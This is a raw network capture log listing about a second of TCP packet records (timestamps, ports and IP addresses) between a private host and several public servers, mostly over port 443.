Dec 5, 2024 14:01:55.401209116 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.401220083 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.402266026 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.402297974 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.402426958 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.402952909 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.402968884 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.407167912 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.407187939 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.407278061 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.407285929 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.407506943 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.461038113 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.461061954 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.461076975 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.461138010 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.461149931 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.461199045 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.484791040 CET	443	49834	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:55.486641884 CET	49834	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:55.486669064 CET	443	49834	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:55.507110119 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.507164001 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.507194042 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.507213116 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.507257938 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.507276058 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.523263931 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.523284912 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.523354053 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.523364067 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.523576021 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.529997110 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.530020952 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.530036926 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.530109882 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.530152082 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.530217886 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.539330959 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.539349079 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.539418936 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.539427996 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.540543079 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.554512024 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.554528952 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.554593086 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.554603100 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.556487083 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.568645954 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.568665981 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.568727970 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.568737030 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.569538116 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.575324059 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.575352907 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.575447083 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.575462103 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.575520992 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.583802938 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.583820105 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.583906889 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.583914995 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.584459066 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.597003937 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.597021103 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.597088099 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.597095966 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.597263098 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.623713017 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.623739004 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.623807907 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.623823881 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.623843908 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.623869896 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.649450064 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.649477959 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.649548054 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.649561882 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.649609089 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.697248936 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.697272062 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.697336912 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.697357893 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.697544098 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.697967052 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.697988033 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.698051929 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.698065042 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.698085070 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.698108912 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.708256006 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.708271980 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.708338022 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.708347082 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.709285021 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.712053061 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.712080956 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.712153912 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.712167978 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.712253094 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.717217922 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.717235088 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.717330933 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.717339993 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.717538118 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.727104902 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.727128029 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.727210999 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.727219105 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.727530003 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.736267090 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.736284018 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.736382961 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.736394882 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.737534046 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.743182898 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.743206978 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.743279934 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.743336916 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.743371010 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.743406057 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.746015072 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.746037006 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.746083975 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.746094942 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.746128082 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.746162891 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.755858898 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.755876064 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.755965948 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.755973101 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.757570982 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.761976957 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.761997938 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.762073994 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.762089014 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.762430906 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.773525953 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.773545027 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.773614883 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.773642063 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.773673058 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.773696899 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.796442032 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.796468973 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.796550989 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.796562910 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.796622038 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.817424059 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.817442894 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.817511082 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.817534924 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.817584038 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.817605019 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.817651987 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.817671061 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.817686081 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.817692041 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.818263054 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.843616962 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.843636990 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.843707085 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.843719006 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.843770981 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.869105101 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.869124889 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.869204044 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.869215965 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.869271994 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.881479025 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.881503105 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.881555080 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.881575108 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.881607056 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.881618023 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.888418913 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.888438940 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.888494968 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.888509035 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.888540030 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.888552904 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.889156103 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.889182091 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.889266014 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.889291048 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.889527082 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.889736891 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.889754057 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.889803886 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.889812946 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.889842987 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.889857054 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.895081997 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.895098925 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.895153999 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.895164013 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.895204067 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.903091908 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.903110981 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.903181076 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.903192997 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.904129028 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.910485029 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.910502911 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.910569906 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.910581112 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.911484003 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.917551994 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.917567968 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.917633057 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.917642117 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.918509007 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.925101995 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.925121069 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.925188065 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.925205946 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.925216913 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.925234079 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.925286055 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.925287962 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.925297022 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.925312042 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.925340891 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.930335999 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.930386066 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.930463076 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.930476904 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.930598021 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.931828976 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.931847095 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.931916952 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.931919098 CET	443	49834	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:55.931925058 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.931986094 CET	443	49834	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:55.932034969 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.932069063 CET	49834	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:55.932629108 CET	49834	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:55.936228037 CET	49826	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:55.937472105 CET	49840	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:55.946427107 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.946445942 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.946511030 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.946521997 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.946572065 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.955030918 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.955048084 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.955111027 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.955122948 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.955176115 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.959177017 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.959201097 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.959247112 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.959256887 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.959286928 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.959306955 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.973953962 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.973978996 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.974028111 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.974037886 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.974081039 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.974097013 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.988816023 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.988833904 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.988886118 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.988898039 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.988929987 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.988965034 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.989586115 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.989603996 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.989669085 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.989676952 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.989727020 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.002434969 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.002453089 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.002512932 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.002528906 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.002567053 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.002616882 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.002635956 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.002638102 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.002645969 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.002661943 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.002686977 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.007009029 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.007487059 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.007508039 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.007998943 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.008004904 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.017890930 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.017910957 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.017963886 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.017976046 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.018016100 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.018028021 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.030215025 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.030234098 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.030298948 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.030306101 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.030589104 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.044471979 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.044493914 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.044557095 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.044565916 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.044701099 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.057003021 CET	80	49826	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:56.057110071 CET	49826	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:56.058111906 CET	80	49840	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:56.058193922 CET	49840	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:56.058373928 CET	49840	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:56.058620930 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.058643103 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.058695078 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.058705091 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.058741093 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.058751106 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.071851969 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.071871996 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.071924925 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.071953058 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.071980953 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.071997881 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.073473930 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.073499918 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.073580980 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.073600054 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.073626995 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.073642969 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.077122927 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.077168941 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.077234030 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.077254057 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.077280045 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.077305079 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.080481052 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.080499887 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.080581903 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.080590963 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.080634117 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.086153030 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.086172104 CET	443	49832	150.171.28.10	192.168.2.6
